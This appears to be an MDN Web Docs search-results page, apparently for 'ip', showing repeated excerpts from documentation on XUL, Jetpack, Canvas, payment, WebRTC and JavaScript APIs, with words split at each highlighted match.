ip intends to accelerate the involvement of highly-skilled and experienced web developers with the open web. who web and mobile developers with an established track record of contributions and expertise in a specific web technology, function or domain who wish to increase the effectiveness of t...
...weeks of partnering closely with mozilla to (1) build curriculum, code, or likely both; and (2) receive coaching, training and best practices for effectively communicating and educating with technical information. we expect this to be between 5-10 hours of your time per week. specific projects (we encourage you to target one of these in your application): testthewebforward brief project descr
iption mozilla partic
ipates in an important w3c open testing initiative, testthewebforward.com. to support our efforts, the fellow will review various technical specifications to identify gaps between the documentation and current situation and refine existing tests to adapt to this cross-browser test harness. activities and deliverables identify gaps between existing documentation and current de...
...tions to identify gaps between the documentation and current situation and refine existing tests to adapt to this cross-browser test harness. activities and deliverables identify gaps between existing documentation and current development environments. the work would entail refining existing tests to adapt to this framework. required skills and experience experience and comfort writing javascr
ipt test scr
ipts. mentor information josh matthews, mozilla platform group. github: jdm twitter: @lastontheboat service workers brief project descr
iption service workers essentially act as proxy servers that sit between web applications, the browser and (when available) the network. they enable the creation of effective offline experiences and wiill also allow access to push notifications ...
...And 6 more matches
Code snippets - Archive of obsolete content
this is a quick list of useful code sn
ippets (small code samples) available for developers of extensions for the various mozilla applications. many of these samples can also be used in xulrunner applications, as well as in actual mozilla code itself. these examples demonstrate how to accomplish basic tasks that might not be immediately obvious. general examples and demos from mdn articles a collection of examples and demos from articles. window code opening and man
ipulating windows toolbar toolbar related code sidebar sidebar related code forms forms related code xml code used to parse, write, man
ipulate, etc. xml file i/o code used to read, write and process files drag & drop code used to setup and handle drag and drop events dialogs code used to display and process d...
...ite, man
ipulate, etc. xml file i/o code used to read, write and process files drag & drop code used to setup and handle drag and drop events dialogs code used to display and process dialog boxes alerts and notifications modal and non-modal ways to notify users preferences code used to read, write, and modify preferences js xpcom code used to define and call xpcom components in javascr
ipt running applications code used to run other applications <canvas> related what wg canvas-related code signing a xpi how to sign an xpi with pki delayed execution performing background operations. ...
...de used to define and call xpcom components in javascr
ipt running applications code used to run other applications <canvas> related what wg canvas-related code signing a xpi how to sign an xpi with pki delayed execution performing background operations. miscellaneous miscellaneous useful code fragments html to dom using a hidden browser element to parse html to a window's dom javascr
ipt libraries here are some javascr
ipt libraries that may come in handy. stringview a library that implements a stringview view for javascr
ipt typed arrays. this lets you access data in typed arrays using c-like string functions. rosetta by default, the only possible standardized scr
ipting language for html is ecmascr
ipt. ...
...And 6 more matches
JavaScript Client API - Archive of obsolete content
overview this page describes how to use the internal client-side sync javascr
ipt api. this api is available in mozilla-based products that use sync, such as firefox desktop. this document is somewhat outdated, and the api isn't well-supported for use from add-ons; tread carefully. the best, and most up-to-date, reference to sync's internal apis is the source code. ...
...nce to sync's internal apis is the source code. please note that usage of the sync apis is governed by a terms of service: by accessing or using the firefox sync apis in connection with the development of your own client software to access the firefox sync services (a "third party client"), you acknowledge that you will need to install and use a local version of the firefox sync server for mult
iple account testing and that any use of mozilla's hosted firefox sync services is subject to mozilla's firefox sync terms of service at https://services.mozilla.com/tos/. further, you agree (a) to maintain and link to (including on websites from which your third party client may be downloaded) a separate, conspicuous, and reasonably detailed privacy policy detailing how data collected or transmit...
... should always know with whom they are dealing and where the information or software they are downloading came from). you may not imply, either directly or by omission, that your third party client is produced or endorsed by mozilla. by providing access to the firefox sync apis, mozilla is not granting you a license to any of our trademarks. before starting before you start learning the javascr
ipt api, you should spend some time on http://docs.services.mozilla.com/ reading about how the sync service operates. this will help fundamental understanding significantly. api location the sync javascr
ipt client api is defined in files in the services/sync/ directory of mozilla-central or similar repository. terminology syncengine the main sync client object. it's what starts all the magic.
...And 6 more matches
Manipulating Lists - Archive of obsolete content
<< previousnext >> the xul listbox provides a number of specialized methods. list man
ipulation the listbox element provides numerous methods to retrieve and man
ipulate its items. although listboxes may be man
ipulated using the standard dom functions as well, it is recommended that the specialized listbox functions be used instead when possible. these functions are bit simpler and will do the right thing. the appenditem() function is used to append a new item to the end a list. similar to the dom appendchild() function except that it takes a string label, and you do not have to worry about where to add it in the list structure. ...
...specialized listbox functions be used instead when possible. these functions are bit simpler and will do the right thing. the appenditem() function is used to append a new item to the end a list. similar to the dom appendchild() function except that it takes a string label, and you do not have to worry about where to add it in the list structure. here is an example: example 1 : source view <scr
ipt> function additem(){ document.getelementbyid('thelist').appenditem("thursday", "thu"); } </scr
ipt> <listbox id="thelist"/> <button label="add" oncommand="additem();"/> the appenditem() takes two arguments, the label, in this case 'thursday', and a value 'thu'. the two arguments correspond to the label attribute and the value attribute on the listitem element. the value is used only as an e...
... similarly, there is also an insertitemat() and a removeitemat() function which inserts a new item and removes an existing item respectively. the syntax is as follows: list.insertitemat(3, "thursday", "thu"); list.removeitemat(3); the insertitemat() function takes an additional argument, the position to insert the new item. ...
...And 6 more matches
description - Archive of obsolete content
<< xul reference home [ examples | attributes | properties | methods | related ] this element is used to create a block of text. the text can be set either with the value attribute or by placing text inside the open and close descr
iption tags. the value attribute is used to set text that appears in a single line. if text appears as a child of the descr
iption, it will wrap to mult
iple lines. it may contain arbitrary markup, which can be styled as needed. more information is available in the xul tutorial. ...
...rap to mult
iple lines. it may contain arbitrary markup, which can be styled as needed. more information is available in the xul tutorial. attributes crop, disabled, tabindex value properties accessibletype, crop, disabled, tabindex, value style classes header, indent, monospace, plain, small-margin examples this is a long section of text that will word wrap when displayed <descr
iption> this is a long section of text that will word wrap when displayed. ...
...ded. more information is available in the xul tutorial. attributes crop, disabled, tabindex value properties accessibletype, crop, disabled, tabindex, value style classes header, indent, monospace, plain, small-margin examples this is a long section of text that will word wrap when displayed <descr
iption> this is a long section of text that will word wrap when displayed. ...
...And 6 more matches
XULRunner tips - Archive of obsolete content
in browser/fuel/src/makefile.in rebuild... useful chrome urls most of these require branding. ...
... a single css file named "communicator.css" with this content: @import url("chrome://global/skin"); dom inspector to add dom inspector 2.0.* to your xulrunner 1.9.0.* application follow these steps: download the dom inspector (instead of clicking the "add to..." button, right-click and select "save link as..."). ...
...andoverlay.xul chrome://inspector/content/viewers/dom/commandoverlay.xul to launch dom inspector in your application, you need to open its main window, with a command like this: window.open("chrome://inspector/content/inspector.xul", "", "chrome"); alternatively, the dom inspector may also be added as an extension: (if you already have inspector installed for another application you can sk
ip to the next step) follow the instructions above through "unz
ip the package." create a file in the extensions directory of your application with the same name as the dom inspector id (inspector@mozilla.org) containing one line of text -- the exact path to the root directory of dom inspector (where the install.rdf is) like this one: /home/username/.mozilla/firefox/numbersandletters/extensions/...
...And 6 more matches
Understanding client-side JavaScript frameworks - Learn web development
many modern companies use frameworks as a standard part of their tooling, so many front-end development jobs now require framework experience. as an aspiring front-end developer, it can be hard to work out where to begin when learning frameworks -- there are so many different frameworks to choose from, new ones appear all the time, they mostly work in a similar way but do some things differently, and there are some specific things to be careful about when using frameworks. in this set of articles, we are aiming to give you a comfortable starting point to help you begin learning frameworks. ...
...we want you to go forward and learn about frameworks in a pragmatic way that doesn't forget about web platform fundamental best practices such as accessibility. get started now, with...
...you to go forward and learn about frameworks in a pragmatic way that doesn't forget about web platform fundamental best practices such as accessibility. get started now, with "introduction to client-side frameworks" prerequisites you should really learn the basics of the core web languages first before attempting to move on to learning client-side frameworks -- html, css, and especially javascr
ipt. your code will be richer and more professional as a result, and you'll be able to troubleshoot problems with more confidence if you understand the fundamental web platform features that the frameworks are building on top of. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. get started ...
...And 6 more matches
How to embed the JavaScript engine
see the instructions for building and running the sample below the code. the code differs for each spidermonkey version, please choose right version for your spidermonkey. ...
...see the instructions for building and running the sample below the code. the code differs for each spidermonkey version, please choose right version for your spidermonkey. ...
...ould want to exit this any // time you're spinning the event loop js::rootedobject global(cx, js_newglobalobject(cx, &global_class, nullptr)); if (!global) return 1; js::rootedvalue rval(cx); { // scope for jsautocompartment jsautocompartment ac(cx, global); js_initstandardclasses(cx, global); const char *scr
ipt = "'hello'+'world, it is '+new date()"; const char *filename = "noname"; int lineno = 1; bool ok = js_evaluatescr
ipt(cx, global, scr
ipt, strlen(scr
ipt), filename, lineno, rval.address()); if (!ok) return 1; } jsstring *str = rval.tostring(); printf("%s\n", js_encodestring(cx, str)); } js_destroycontext(cx); js_destroyrunti...
...And 6 more matches
nsIProcess
xpcom/threads/ns
iprocess.idlscr
iptable this interface represents an executable process. inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) implemented by: @mozilla.org/process/util;1. ...
... xpcom/threads/ns
iprocess.idlscr
iptable this interface represents an executable process. inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) implemented by: @mozilla.org/process/util;1. ...
...this is only valid after the process has exited. read only. isrunning boolean true if the process is running, otherwise false. only accurate if the process was run with blocking disabled. read only. location nsifile the location of the executable file on disk. read only. geck...
...And 6 more matches
nsIScriptableIO
file and stream guide: [ nsiscr
iptableio | accessing files | getting file information | reading from files | writing to files | moving, copying and deleting files | uploading and downloading files | working with directories ] important note: the pages from the file and stream guide use the io object (nsiscr
iptableio), which was not available in any released version of the platform (pending some fixes). there are alternative xpcom apis you can use, your help in updating this pages to use the supported api is very much welcome! ...
...g with directories ] important note: the pages from the file and stream guide use the io object (nsiscr
iptableio), which was not available in any released version of the platform (pending some fixes). there are alternative xpcom apis you can use, your help in updating this pages to use the supported api is very much welcome! other documentation on files and i/o not using the unavailable nsiscr
iptableio apis: code sn
ippets: file i/o, open and save dialogs, reading textual data, writing textual data, list of file-related error codes. nsiscr
iptableio provides a convenient api for creating files and streams, as well as for reading and writing data to them. for your convenience, this api is published through a global io object. for more details about how to use this object, see the file and s...
... and save dialogs, reading textual data, writing textual data, list of file-related error codes. nsiscr
iptableio provides a convenient api for creating files and streams, as well as for reading and writing data to them. for your convenience, this api is published through a global io object. for more details about how to use this object, see the file and stream guide. network/base/public/nsiscr
iptableio.idlscr
iptable please add a summary to this article. last changed in gecko 1.9 (firefox 3) inherits from: nsisupports a scr
iptable io object can be used in an extension or chrome code by referring to the global io object. ...
...And 6 more matches
CanvasRenderingContext2D.clip() - Web APIs
the canvasrenderingcontext2d.cl
ip() method of the canvas 2d api turns the current or given path into the current cl
ipping region. it replaces any previous cl
ipping region. in the image below, the red outline represents a cl
ipping region shaped like a star. only those parts of the checkerboard pattern that are within the cl
ipping region get drawn. note: be aware that the cl
ipping region is only constructed from shapes added to the path. it doesn't work with shape primitives drawn directly to the canvas, such as fillrect(). instead, you'd have to use rect() to add a rectangular shape to the path before calling cl
ip(). ...
...a star. only those parts of the checkerboard pattern that are within the cl
ipping region get drawn. note: be aware that the cl
ipping region is only constructed from shapes added to the path. it doesn't work with shape primitives drawn directly to the canvas, such as fillrect(). instead, you'd have to use rect() to add a rectangular shape to the path before calling cl
ip(). syntax void ctx.cl
ip([fillrule]); void ctx.cl
ip(path [, fillrule]); parameters fillrule the algorithm by which to determine if a point is inside or outside the cl
ipping region. possible values: "nonzero": the non-zero winding rule. default rule. "evenodd": the even-odd winding rule. ...
... add a rectangular shape to the path before calling cl
ip(). syntax void ctx.cl
ip([fillrule]); void ctx.cl
ip(path [, fillrule]); parameters fillrule the algorithm by which to determine if a point is inside or outside the cl
ipping region. possible values: "nonzero": the non-zero winding rule. default rule. "evenodd": the even-odd winding rule. path a path2d path to use as the cl
ipping region. examples a simple cl
ipping region this example uses the cl
ip() method to create a cl
ipping region according to the shape of a circular arc. two rectangles are then drawn; only those parts within the cl
ipping region are rendered. html <canvas id="canvas"></canvas> javascr
ipt the cl
ipping region is a full circle, with its center at (100, 75), and a radius of 50. const canvas =...
...And 6 more matches
CanvasRenderingContext2D.ellipse() - Web APIs
the canvasrenderingcontext2d.ell
ipse() method of the canvas 2d api adds an ell
iptical arc to the current sub-path. syntax void ctx.ell
ipse(x, y, radiusx, radiusy, rotation, startangle, endangle [, anticlockwise]); the ell
ipse() method creates an ell
iptical arc centered at (x, y) with the radii radiusx and radiusy. the path starts at startangle and ends at endangle, and travels in the direction given by anticlockwise (defaulting to clockwise). parameters x the x-axis (horizontal) coordinate of the ell
ipse's center. y the y-axis (vertical) coordinate of the ell
ipse's center. radiusx the ell
ipse's major-axis radius. must be non-negative. radiusy the ell
ipse's minor-axis radius. must be non-negative. rotation the rotation of the ell
ipse, expressed in radians. startangle the a...
...e (defaulting to clockwise). parameters x the x-axis (horizontal) coordinate of the ell
ipse's center. y the y-axis (vertical) coordinate of the ell
ipse's center. radiusx the ell
ipse's major-axis radius. must be non-negative. radiusy the ell
ipse's minor-axis radius. must be non-negative. rotation the rotation of the ell
ipse, expressed in radians. startangle the angle at which the ell
ipse starts, measured clockwise from the positive x-axis and expressed in radians. endangle the angle at which the ell
ipse ends, measured clockwise from the positive x-axis and expressed in radians. ...
...radians (360?). ...
...And 6 more matches
PaymentRequest.shippingOption - Web APIs
the sh
ippingoption read-only attribute of the paymentrequest interface returns either the id of a selected sh
ipping option, null (if no sh
ipping option was set to be selected) or a sh
ipping option selected by the user. it is initially null by when no "selected" sh
ipping options are provided. this attribute is only populated if the constructor is called with the requestsh
ipping flag set to true. if requestsh
ipping was false (or missing), sh
ippingoption returns null, even the developer provides a selected a sh
ipping option. syntax // returns the id of the selected paymentsh
ippingoption var sh
ippingoption = request.sh
ippingoption; example in the example below, the paymentrequest.onsh
ippingoptionchange and the paymentrequest.onsh
ippingaoptionchange events are dispatched. in each call...
...ow, the paymentrequest.onsh
ippingoptionchange and the paymentrequest.onsh
ippingaoptionchange events are dispatched. in each calls to updatedetails() are made, one using a promise, and the other with a plain js object. this demotrates synchrounous and asynchronous updates to a payment sheet. ...
... paymentrequest.onsh
ippingaoptionchange events are dispatched. in each calls to updatedetails() are made, one using a promise, and the other with a plain js object. this demotrates synchrounous and asynchronous updates to a payment sheet. ...
...And 6 more matches
RTCSessionDescription - Web APIs
the rtcsessiondescr
iption interface describes one end of a connection--or potential connection--and how it's configured. each rtcsessiondescr
iption consists of a descr
iption type indicating which part of the offer/answer negotiation process it describes and of the sdp descr
iptor of the session. the process of negotiating a connection between two peers involves exchanging rtcsessiondescr
iption objects back and forth, with each descr
iption suggesting one combination of connection configuration options that the sender of the descr
iption supports. once the two peers agree upon a configuration for the connection, negotiation is complete. properties the rtcsessiondescr
iption interface doesn't inherit any properties. ...
...een two peers involves exchanging rtcsessiondescr
iption objects back and forth, with each descr
iption suggesting one combination of connection configuration options that the sender of the descr
iption supports. once the two peers agree upon a configuration for the connection, negotiation is complete. properties the rtcsessiondescr
iption interface doesn't inherit any properties. rtcsessiondescr
iption.type read only an enum of type rtcsdptype describing the session descr
iption's type. rtcsessiondescr
iption.sdp read only a domstring containing the sdp describing the session. constants rtcsdptype this enum defines strings that describe the current state of the session descr
iption, as used in the type property. ...
... doesn't inherit any properties. rtcsessiondescr
iption.type read only an enum of type rtcsdptype describing the session descr
iption's type. rtcsessiondescr
iption.sdp read only a domstring containing the sdp describing the session. constants rtcsdptype this enum defines strings that describe the current state of the session descr
iption, as used in the type property. the session descr
iption's type will be specified using one of these values. value descr
iption answer the sdp contained in the sdp property is the definitive choice in the exchange. in other words, this session descr
iption describes the agreed-upon configuration, and is being sent to finalize negotiation. ...
...And 6 more matches
ReadableStream.pipeThrough() - Web APIs
data writen to the writable stream can be read in some transformed state by the readable stream. ...
...data writen to the writable stream can be read in some transformed state by the readable stream. ...
...data writen to the writable stream can be read in some transformed state by the readable stream. ...
...And 6 more matches
ServiceWorkerGlobalScope: pushsubscriptionchange event - Web APIs
the pushsubscr
iptionchange event is sent to the global scope of a serviceworker to indicate a change in push subscr
iption that was triggered outside the application's control. this may occur if the subscr
iption was refreshed by the browser, but it may also happen if the subscr
iption has been revoked or lost. bubbles no cancelable no interface pushsubscr
iptionchangeevent event handler property onpushsubscr
iptionchange usage notes although examples demonstrating how to share subscr
iption related information with the application server tend to use fetch(), this is not necessarily the best choice for real-world use, since it will not work if the app is offline, for example. ...
...bscr
iptionchangeevent event handler property onpushsubscr
iptionchange usage notes although examples demonstrating how to share subscr
iption related information with the application server tend to use fetch(), this is not necessarily the best choice for real-world use, since it will not work if the app is offline, for example. consider using another method to synchronize subscr
iption information between your service worker and the app server, or make sure your code using fetch() is robust enough to handle cases where attempts to exchange data fail. note: in earlier drafts of the specification, this event was defined to be sent when a pushsubscr
iption has expired. ...
...nchronize subscr
iption information between your service worker and the app server, or make sure your code using fetch() is robust enough to handle cases where attempts to exchange data fail. note: in earlier drafts of the specification, this event was defined to be sent when a pushsubscr
iption has expired. examples this example, run in the context of a service worker, listens for a pushsubscr
iptionchange event and re-subscribes to the lapsed subscr
iption. ...
...And 6 more matches
Memory Management - JavaScript
this automaticity is a potential source of confusion: it can give developers the false impression that they don't need to worry about memory management. ...
...cle regardless of the programming language, the memory life cycle is pretty much always the same: allocate the memory you need use the allocated memory (read, write) release the allocated memory when it is not needed anymore the second part is explicit in all languages. the first and last parts are explicit in low-level languages but are mostly implicit in high-level languages like javascr
ipt. allocation in javascr
ipt value initialization in order to not bother the programmer with allocations, javascr
ipt will automatically allocate memory when values are initially declared. var n = 123; // allocates memory for a number var s = 'azerty'; // allocates memory for a string var o = { a: 1, b: null }; // allocates memory for an object and contained values // (like object) allocat...
...tyle.backgroundcolor = 'blue'; }, false); allocation via function calls some function calls result in object allocation. var d = new date(); // allocates a date object var e = document.createelement('div'); // allocates a dom element some methods allocate new values or objects: var s = 'azerty'; var s2 = s.substr(0, 3); // s2 is a new string // since strings are immutable values, // javascr
ipt may decide to not allocate memory, // but just store the [0, 3] range. var a = ['ouais ouais', 'nan nan']; var a2 = ['generation', 'nan nan']; var a3 = a.concat(a2); // new array with 4 elements being // the concatenation of a and a2 elements. using values using values basically means reading and writing in allocated memory. this can be done by reading or writing the value of a variable or a...
...And 6 more matches
Object.assign() - JavaScript
examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax object.assign(target, ...sources) parameters target the target object -- what to apply the sources' properties to, which is returned after it is modified. sources the source object(s) -- objects containing the properties you want to apply. return value the target object. descr
iption properties in the target object are overwritten by properties in the sources if they have the same key. later sources' properties overwrite earlier ones. the object.assign() method only copies enumerable and own properties from a source object to a target object. it uses [[get]] on the source and [[set]] on the target, so it will invoke getters and setters. therefore it assigns properties, ...
...ect. it uses [[get]] on the source and [[set]] on the target, so it will invoke getters and setters. therefore it assigns properties, versus copying or defining new properties. this may make it unsuitable for merging new properties into a prototype if the merge sources contain getters. for copying property definitions (including their enumerability) into prototypes, use object.getownpropertydescr
iptor() and object.defineproperty() instead. both string and symbol properties are copied. in case of an error, for example if a property is non-writable, a typeerror is raised, and the target object is changed if any properties are added before the error is raised. note: object.assign() does not throw on null or undefined sources. polyfill this polyfill doesn't support symbol properties, sin...
...ethod has finished, foo3 will not be copied. console.log(target.baz); // undefined, the third source will not be copied either. copying accessors const obj = { foo: 1, get bar() { return 2; } }; let copy = object.assign({}, obj); console.log(copy); // { foo: 1, bar: 2 } // the value of copy.bar is obj.bar's getter's return value. ...
...And 6 more matches
Object - JavaScript
overridden). however, an object may be deliberately created for which this is not true (e.g. by object.create(null)), or it may be altered so that this is no longer true (e.g. with object.setprototypeof). ...
...overridden). however, an object may be deliberately created for which this is not true (e.g. by object.create(null)), or it may be altered so that this is no longer true (e.g. with object.setprototypeof). ...
...overridden). however, an object may be deliberately created for which this is not true (e.g. by object.create(null)), or it may be altered so that this is no longer true (e.g. with object.setprototypeof). ...
...And 6 more matches
handler.defineProperty() - JavaScript
the handler.defineproperty() method is a trap for object.defineproperty(). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax const p = new proxy(target, { defineproperty: function(target, property, descr
iptor) { } }); parameters the following parameters are passed to the defineproperty() method. this is bound to the handler. target the target object. property the name or symbol of the property whose descr
iption is to be retrieved. descr
iptor the descr
iptor for the property being defined or modified. return value the defineproperty() method must return a boolean indicating whether or not the...
...re passed to the defineproperty() method. this is bound to the handler. target the target object. property the name or symbol of the property whose descr
iption is to be retrieved. descr
iptor the descr
iptor for the property being defined or modified. return value the defineproperty() method must return a boolean indicating whether or not the property has been successfully defined. descr
iption the handler.defineproperty() method is a trap for object.defineproperty(). interceptions this trap can intercept these operations: object.defineproperty() reflect.defineproperty() invariants if the following invariants are violated, the proxy will throw a typeerror: a property cannot be added, if the target object is not extensible. a property cannot be added as or modified to b...
...f the target object is not extensible. a property cannot be added as or modified to be non-configurable, if it does not exists as a non-configurable own property of the target object. a property may not be non-configurable, if a corresponding configurable property of the target object exists. ...
...And 6 more matches
parseInt() - JavaScript
parseint(string [, radix]) parameters string the value to parse. if this argument is not a string, then it is converted to one using the tostring abstract operation. leading whitespace in this argument is ignored. radix optional an integer between 2 and 36 that represents the radix (the base in mathematical numeral systems) of the string. be careful--this does not default to 10! the descr
iption below explains in more detail what happens when radix is not provided. return value an integer parsed from the given string. or nan when the radix is smaller than 2 or bigger than 36, or the first non-whitespace character cannot be converted to a number. descr
iption the parseint function converts its first argument to a string, parses that string, then returns an integer or nan. i...
...ailing spaces are allowed. because some numbers use the e character in their string representation (e.g. 6.022e23 for 6.022 x 1023), using parseint to truncate numbers will produce unexpected results when used on very large or very small numbers. parseint should not be used as a substitute for math.floor(). ...
...stitute for math.floor(). parseint understands exactly two signs: + for positive, and - for negative (since ecmascr
ipt 1). it is done as an initial step in the parsing after whitespace is removed. if no signs are found, the algorithm moves to the following step; otherwise, it removes the sign and runs the number-parsing on the rest of the string. if radix is undefined, 0, or unspecified, javascr
ipt assumes the following: if the input string begins with "0x" or "0x" (a zero, followed by lowercase or uppercase x), radix is assumed to be 16 and the rest of the string is parsed as a hexidecimal number. ...
...And 6 more matches
<script> - SVG: Scalable Vector Graphics
the svg scr
ipt element allows to add scr
ipts to an svg document. ...
... the svg scr
ipt element allows to add scr
ipts to an svg document. ...
... the svg scr
ipt element allows to add scr
ipts to an svg document. ...
...And 6 more matches
Loading Content Scripts - Archive of obsolete content
this page is now obsolete, and its content has been incorporated into the main page on content scr
ipts. the constructors for content-scr
ipt-using objects such as panel and page-mod define a group of options for loading content scr
ipts: contentscr
ipt string, array contentscr
iptfile string, array contentscr
iptwhen string contentscr
iptoptions object we have already seen the contentscr
ipt option, which enables you to pass in the text of the scr
ipt itself as a string literal. this version of the api avoids the need to maintain a separate file for the content scr
ipt. ...
...ons for loading content scr
ipts: contentscr
ipt string, array contentscr
iptfile string, array contentscr
iptwhen string contentscr
iptoptions object we have already seen the contentscr
ipt option, which enables you to pass in the text of the scr
ipt itself as a string literal. this version of the api avoids the need to maintain a separate file for the content scr
ipt. the contentscr
iptfile option enables you to pass in the local file url from which the content scr
ipt will be loaded. to supply the file "my-content-scr
ipt.js", located in the /data subdirectory under your add-on's root directory, use a line like: // "data" is supplied by the "self" module var data = require("sdk/self").data; ... ...
...need to maintain a separate file for the content scr
ipt. the contentscr
iptfile option enables you to pass in the local file url from which the content scr
ipt will be loaded. to supply the file "my-content-scr
ipt.js", located in the /data subdirectory under your add-on's root directory, use a line like: // "data" is supplied by the "self" module var data = require("sdk/self").data; ... contentscr
iptfile: data.url("my-content-scr
ipt.js") both contentscr
ipt and contentscr
iptfile accept an array of strings, so you can load mult
iple scr
ipts, which can also interact directly with each other in the content process: // "data" is supplied by the "self" module var data = require("sdk/self").data; ... ...
...And 5 more matches
Defining Cross-Browser Tooltips - Archive of obsolete content
see bug 25537 for a lengthy, sometimes passionate discussion of gecko's behavior in this regard. ...
...see bug 25537 for a lengthy, sometimes passionate discussion of gecko's behavior in this regard. ...
...see bug 25537 for a lengthy, sometimes passionate discussion of gecko's behavior in this regard. ...
...And 5 more matches
Clipboard - Archive of obsolete content
note: this page documents the jetpack prototype, which is no longer under active development. read the experiment report for what we learned from it and the blog post announcing the first sdk release for what we're up to next! jetpack's cl
ipboard support api provides a standardized way for features to access the cl
ipboard. features can get and set the cl
ipboard in various flavors of data type. the namespace associated with this api is jetpack.cl
ipboard which provides both read and write access to the cl
ipboard. the api is fairly straightforward; examples can be found here. the api lives in the future and must be imported for use. jetpack.future.import("cl
ipboard"); methods set(contentstringflavorstring) stringwrites data from jetpack to the cl
ipboard. this is the recommended method ...
...ted with this api is jetpack.cl
ipboard which provides both read and write access to the cl
ipboard. the api is fairly straightforward; examples can be found here. the api lives in the future and must be imported for use. jetpack.future.import("cl
ipboard"); methods set(contentstringflavorstring) stringwrites data from jetpack to the cl
ipboard. this is the recommended method of copying data to the cl
ipboard. contentthe content to be copied to the cl
ipboard. if no other arguments are specified, the flavor of the content is assumed to 'plain'.string flavordata type. this is an optional parameter. the only flavors currently implemented are 'plain' (text/unicode) and 'html' (which is html).string"text" here's an example of how to use the method to set the cl
ipboard. ...
...cl
ipboard. contentthe content to be copied to the cl
ipboard. if no other arguments are specified, the flavor of the content is assumed to 'plain'.string flavordata type. this is an optional parameter. the only flavors currently implemented are 'plain' (text/unicode) and 'html' (which is html).string"text" here's an example of how to use the method to set the cl
ipboard. jetpack.import.future("cl
ipboard");// in text formatjetpack.cl
ipboard.set("hello world");// in other cl
ipboard get(flavor string)returns data to jetpack from the cl
ipboard. if flavor is provided, the data is returned in that format. flavorreturns data to jetpack from the cl
ipboard. if flavor is provided, the data is returned in that format. ...
...And 5 more matches
Multiple Rules - Archive of obsolete content
this involves using additional rule elements after the first. in addition, conditions may be applied to each rule. only those results that match the conditions have content generated for them. for each result, the conditions associated with each rule are examined to see if they match. the first rule that matches causes content to be generated for that result. for example, the first rule might match directories or folders, whereas the second rule might match files. ...
...andled earlier matches. for instance, if the first rule matched all folders, then the remaining rules can assume that any results that get past the first rule are not folders. this allows the conditions can be simpler. it also allows a common technique where the last rule in a template has no conditions, allowing all remaining results that didn't match earlier rules to match this last rule. ...
...n a template has no conditions, allowing all remaining results that didn't match earlier rules to match this last rule. ...
...And 5 more matches
ECMAScript 2016 to ES.Next support in Mozilla - Archive of obsolete content
this page needs to be updated to reflect current changes. (may 2019) ecmascr
ipt next refers to new features of the ecma-262 standard (commonly referred to as javascr
ipt) introduced after ecmascr
ipt 2015. new versions of ecmascr
ipt specifications are released yearly. so far, es2016, es2017, and es2018 have been released. this year, the es2019 specification will be released and es2020 is the current ecmascr
ipt draft specification. you can see the latest proposals on the tc39/ecma262 github repository. a channel for feedback on ecmascr
ipt standards is es-discuss. below is a list of features in es2016+ and what version of firefox they were implemented in. ...
...ar, es2016, es2017, and es2018 have been released. this year, the es2019 specification will be released and es2020 is the current ecmascr
ipt draft specification. you can see the latest proposals on the tc39/ecma262 github repository. a channel for feedback on ecmascr
ipt standards is es-discuss. below is a list of features in es2016+ and what version of firefox they were implemented in. ...
...t specification. you can see the latest proposals on the tc39/ecma262 github repository. a channel for feedback on ecmascr
ipt standards is es-discuss. below is a list of features in es2016+ and what version of firefox they were implemented in. ...
...And 5 more matches
New in JavaScript 1.3 - Archive of obsolete content
the following is a changelog for javascr
ipt from netscape navigator 4.0 to 4.5. the old netscape documentation can be found on archive.org. netscape navigator 4.5 was released on october 19, 1998. the most significant change in javascr
ipt 1.3 was compliance with ecma-262 and unicode by removing inconsistencies between javascr
ipt 1.2 and the new ecma standard (which was published in june 1997). additional features of version 1.2, at the time not specified by ecma-262 were kept in the javascr
ipt language (see below for a list of differences). javascr
ipt versions netscape communicator and navigator 4.06 and 4.5 executes javascr
ipt language versions up to 1.3. ...
...nd the new ecma standard (which was published in june 1997). additional features of version 1.2, at the time not specified by ecma-262 were kept in the javascr
ipt language (see below for a list of differences). javascr
ipt versions netscape communicator and navigator 4.06 and 4.5 executes javascr
ipt language versions up to 1.3. note that communicator and navigator 4.0-4.05 and earlier ignored scr
ipts with the language attribute set to "javascr
ipt1.3" and higher. <scr
ipt language="javascr
ipt1.2"> <!-- javascr
ipt for navigator 4.0. --> <scr
ipt language="javascr
ipt1.3"> <!-- javascr
ipt for navigator 4.5. ...
...pe communicator and navigator 4.06 and 4.5 executes javascr
ipt language versions up to 1.3. note that communicator and navigator 4.0-4.05 and earlier ignored scr
ipts with the language attribute set to "javascr
ipt1.3" and higher. <scr
ipt language="javascr
ipt1.2"> <!-- javascr
ipt for navigator 4.0. --> <scr
ipt language="javascr
ipt1.3"> <!-- javascr
ipt for navigator 4.5. ...
...And 5 more matches
VoIP - MDN Web Docs Glossary: Definitions of Web-related terms
usually, telephone calls over the internet do not incur further charges beyond what the user is paying for internet access, much in the same way that the user doesn't pay for sending individual emails over the internet. ...
...usually, telephone calls over the internet do not incur further charges beyond what the user is paying for internet access, much in the same way that the user doesn't pay for sending individual emails over the internet. ...
...usually, telephone calls over the internet do not incur further charges beyond what the user is paying for internet access, much in the same way that the user doesn't pay for sending individual emails over the internet. ...
...And 5 more matches
JS_ExecuteScriptVersion
obsolete since jsapi 36this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. this article covers features introduced in spidermonkey 1.8.5 execute a compiled scr
ipt with specified version. syntax jsbool js_executescr
iptversion(jscontext *cx, jsobject *obj, jsobject *scr
iptobj, jsval *rval, jsversion version); name type descr
iption cx jscontext * the context in which to execute the scr
ipt. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj jsobject * the scope in which to execute the scr
ipt. in the simplest cases, this should just be the embedding's global object. ...
...instead: the scope chain is initialized to contain obj, followed by its parent, then its parent's parent, etc. until null is reached. ...
...instead: the scope chain is initialized to contain obj, followed by its parent, then its parent's parent, etc. until null is reached. variable initialization is performed. ...
...And 5 more matches
nsIClipboardCommands
the webshell implements this interface. ...
...the webshell implements this interface. ...
...the webshell implements this interface. ...
...And 5 more matches
nsIFrameScriptLoader
idl file: mozilla-central/source/dom/base/nsimessagemanager.idl inherits from: nsisupports this interface is used to load frame scr
ipts. methods void loadframescr
